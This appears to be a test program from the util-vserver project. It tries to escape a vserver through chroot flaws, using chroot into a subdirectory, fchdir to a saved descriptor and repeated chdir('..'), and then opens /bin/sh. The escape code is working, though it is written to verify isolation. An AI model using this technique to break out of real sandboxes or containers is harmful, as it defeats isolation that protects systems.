b10d58c7356541908159ee9a528898db8da120ac
[util-vserver.git] / tests / escaperoot.cc
1 // $Id: escaperoot.cc,v 1.1.4.1 2003/10/30 15:12:34 ensc Exp $
2
3 // Copyright (C) 2003 Enrico Scholz <enrico.scholz@informatik.tu-chemnitz.de>
4 // based on tests/escaperoot.cc by Jacques Gelinas
5 //  
6 // This program is free software; you can redistribute it and/or modify
7 // it under the terms of the GNU General Public License as published by
8 // the Free Software Foundation; either version 2, or (at your option)
9 // any later version.
10 //  
11 // This program is distributed in the hope that it will be useful,
12 // but WITHOUT ANY WARRANTY; without even the implied warranty of
13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
14 // GNU General Public License for more details.
15 //  
16 // You should have received a copy of the GNU General Public License
17 // along with this program; if not, write to the Free Software
18 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
19
20 /*
21         This program tries to escape out of a vserver using chroot flaws.
22         Once escaped, it exec a shell.
23
24         None of this works on 2.4.13.
25 */
26 #include <stdio.h>
27 #include <unistd.h>
28 #include <string.h>
29 #include <errno.h>
30 #include <sys/stat.h>
31 #include <fcntl.h>
32 #include <wait.h>
33 #include <limits.h>
34
35 static void print_pwd()
36 {
37         char path[PATH_MAX];
38         if (getcwd(path,sizeof(path)-1)!=NULL){
39                 printf ("PWD: %s\n",path);
40         }
41 }
42 /*
43         Just set a chroot in a sub-directory and keep the
44         current directory behind
45 */
46 static void test1()
47 {
48         printf ("test1\n");
49         print_pwd();
50         mkdir ("dummy_dir",0755);
51         if (chroot ("dummy_dir")==-1){
52                 fprintf (stderr,"Can't chroot into dummy_dir (%s)\n",strerror(errno));
53         }else{
54                 // Try to chdir into the real root
55                 for (int i=0; i<1000; i++) chdir("..");
56                 print_pwd();
57                 if (execl ("/bin/sh","/bin/sh",NULL)==-1){
58                         fprintf (stderr,"execl /bin/sh failed (%s)\n",strerror(errno));
59                 }
60         }
61 }
62
63 /*
64         Same as test1, except we open the current directory and do
65         a fchdir() to it before trying to escape to the real root.
66 */
67 static void test2()
68 {
69         printf ("test2\n");
70         print_pwd();
71         mkdir ("dummy_dir",0755);
72         int fd = open (".",O_RDONLY);
73         if (fd == -1){
74                 fprintf (stderr,"Can't open current directory (%s)\n",strerror(errno));
75         }else if (chroot ("dummy_dir")==-1){
76                 fprintf (stderr,"Can't chroot into dummy_dir (%s)\n",strerror(errno));
77         }else if (fchdir(fd)==-1){
78                 fprintf (stderr,"Can't fchdir to the current directory (%s)\n"
79                         ,strerror(errno));
80         }else{
81                 // Try to chdir into the real root
82                 for (int i=0; i<1000; i++) chdir("..");
83                 print_pwd();
84                 if (execl ("/bin/sh","/bin/sh",NULL)==-1){
85                         fprintf (stderr,"execl /bin/sh failed (%s)\n",strerror(errno));
86                 }
87         }
88 }
89
90 /*
91         Perform the test in a sub-process so it won't affect the current one
92 */
93 static void dotest (void (*f)())
94 {
95         pid_t pid = fork();
96         if (pid == 0){
97                 f();
98                 _exit (0);
99         }else if (pid == -1){
100                 fprintf (stderr,"Can't fork (%s)\n",strerror(errno));
101         }else{
102                 int status;
103                 wait (&status);
104         }
105 }
106
107 int main (int, char *[])
108 {
109         dotest (test1);
110         dotest (test2);
111         printf ("All attempts failed\n");
112         return 0;
113 }
114
115